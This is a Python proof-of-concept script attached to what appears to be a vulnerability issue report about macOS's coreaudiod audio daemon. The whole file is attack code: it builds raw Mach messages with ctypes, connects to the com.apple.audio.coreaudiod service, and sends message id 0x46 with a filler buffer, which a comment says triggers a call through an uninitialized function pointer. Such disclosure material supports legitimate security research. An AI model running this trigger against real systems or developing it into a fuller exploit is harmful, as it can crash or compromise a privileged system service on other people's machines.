New issue
Advanced search Search tips

Issue 487 attachment: marks_poc_coreaudiod_min.py (4.2 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#! /usr/bin/python
import ctypes
import ctypes.util
import os
import subprocess
import struct
import sys
#
# Required native libraries
#
libpath = ctypes.util.find_library('CoreServices')
cs = None
try:
cs = ctypes.cdll.LoadLibrary(libpath)
except:
log.error('Failed to load CoreServices')
#
# MACH Ports
#
MACH_PORT_NULL = 0
#
# MACH Message options
#
MACH_SEND_MSG = 0x00000001
MACH_RCV_MSG = 0x00000002
MACH_RCV_LARGE = 0x00000004
MACH_MSG_TIMEOUT_NONE = 0
#
# MACH Message Header
#
MACH_MSGH_BITS_ZERO = 0x00000000
MACH_MSGH_BITS_REMOTE_MASK = 0x000000ff
MACH_MSGH_BITS_LOCAL_MASK = 0x0000ff00
MACH_MSGH_BITS_COMPLEX = 0x80000000
MACH_MSGH_BITS_USER = 0x8000ffff
MACH_MSGH_BITS_CIRCULAR = 0x40000000
MACH_MSGH_BITS_USED = 0xc000ffff
MACH_MSGH_BITS_PORTS_MASK = (MACH_MSGH_BITS_REMOTE_MASK | MACH_MSGH_BITS_LOCAL_MASK)
def MACH_MSGH_BITS(remote, local):
return (remote) | (local << 8)
def MACH_MSGH_BITS_REMOTE(bits):
return ((bits) & MACH_MSGH_BITS_REMOTE_MASK)

def MACH_MSGH_BITS_LOCAL(bits):
return ((bits) & MACH_MSGH_BITS_LOCAL_MASK) >> 8
def MACH_MSGH_BITS_PORTS(bits):
return ((bits) & MACH_MSGH_BITS_PORTS_MASK)
def MACH_MSGH_BITS_OTHER(bits):
return ((bits) & ~MACH_MSGH_BITS_PORTS_MASK)

class mach_msg_header_t(ctypes.Structure):
"""Mach message header type"""
_fields_ = [("msgh_bits", ctypes.c_uint),
("msgh_size", ctypes.c_uint),
("msgh_remote_port", ctypes.c_void_p),
("msgh_local_port", ctypes.c_void_p),
("msgh_reserved", ctypes.c_uint),
("msgh_id", ctypes.c_int)]

#
# MACH Message Body
#

class mach_msg_body_t(ctypes.Structure):
"""Mach message body type"""
_fields_ = [("msgh_descriptor_count", ctypes.c_uint)]
#
# MACH Message
#
class mach_msg_base_t(ctypes.Structure):
"""Mach message type"""
_fields_ = [("header", mach_msg_header_t),
("body", mach_msg_body_t)]

#
# MACH Error messages
#

#
# MACH Functions
#
def get_bootstrap():
bootstrap_port = ctypes.c_uint32()
cs.task_get_special_port(cs.mach_task_self(), 4, ctypes.byref(bootstrap_port))
return bootstrap_port
def global_services():
"""List global registered services. TODO: without launchctl..."""
servicelist = []
for entry in subprocess.check_output(['launchctl', 'bslist', '1']).split('\n'):
servicelist.append(entry[3:])
return servicelist
def connect(bootstrap_port, service):
"""Connect to the named global service."""
service_port = ctypes.c_uint32()
if 0 == cs.bootstrap_look_up(bootstrap_port,
service,
ctypes.byref(service_port)):
return service_port
return None
def send(port, message, size):
"""Send the given message to the given port."""
if 0 != cs.mach_msg(
message,
MACH_SEND_MSG,
size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL,
):
print 'OMFG send failed'

MACH_MSG_TYPE_MOVE_RECEIVE = 16
MACH_MSG_TYPE_MOVE_SEND = 17
MACH_MSG_TYPE_MOVE_SEND_ONCE = 18
MACH_MSG_TYPE_COPY_SEND = 19
MACH_MSG_TYPE_MAKE_SEND = 20
MACH_MSG_TYPE_MAKE_SEND_ONCE = 21
MACH_MSG_TYPE_COPY_RECEIVE = 22
MACH_MSG_PHYSICAL_COPY = 0
MACH_MSG_VIRTUAL_COPY = 1
MACH_MSG_ALLOCATE = 2
MACH_MSG_OVERWRITE = 3

def send_buffer(port, buffer, id):
message = ''
message += struct.pack('I', MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSG_VIRTUAL_COPY, 0))
message += struct.pack('I', len(buffer) + 40)
message += struct.pack('I', port.value)
message += struct.pack('I', MACH_PORT_NULL)
message += struct.pack('I', 0)
message += struct.pack('I', id)
message += buffer

send(port, message, len(message))

if __name__ == "__main__":
bootstrap_port = get_bootstrap()
print bootstrap_port

service = 'com.apple.audio.coreaudiod'
print('Connecting to ' + service)
service_port = connect(bootstrap_port, service)
if service_port:
print('Connected on port ' + str(service_port))
# send msgh_id = 0x46 to coreaudiod to trigger the call of uninitialzed function pointer:
send_buffer(service_port, '#' * 1024, 70)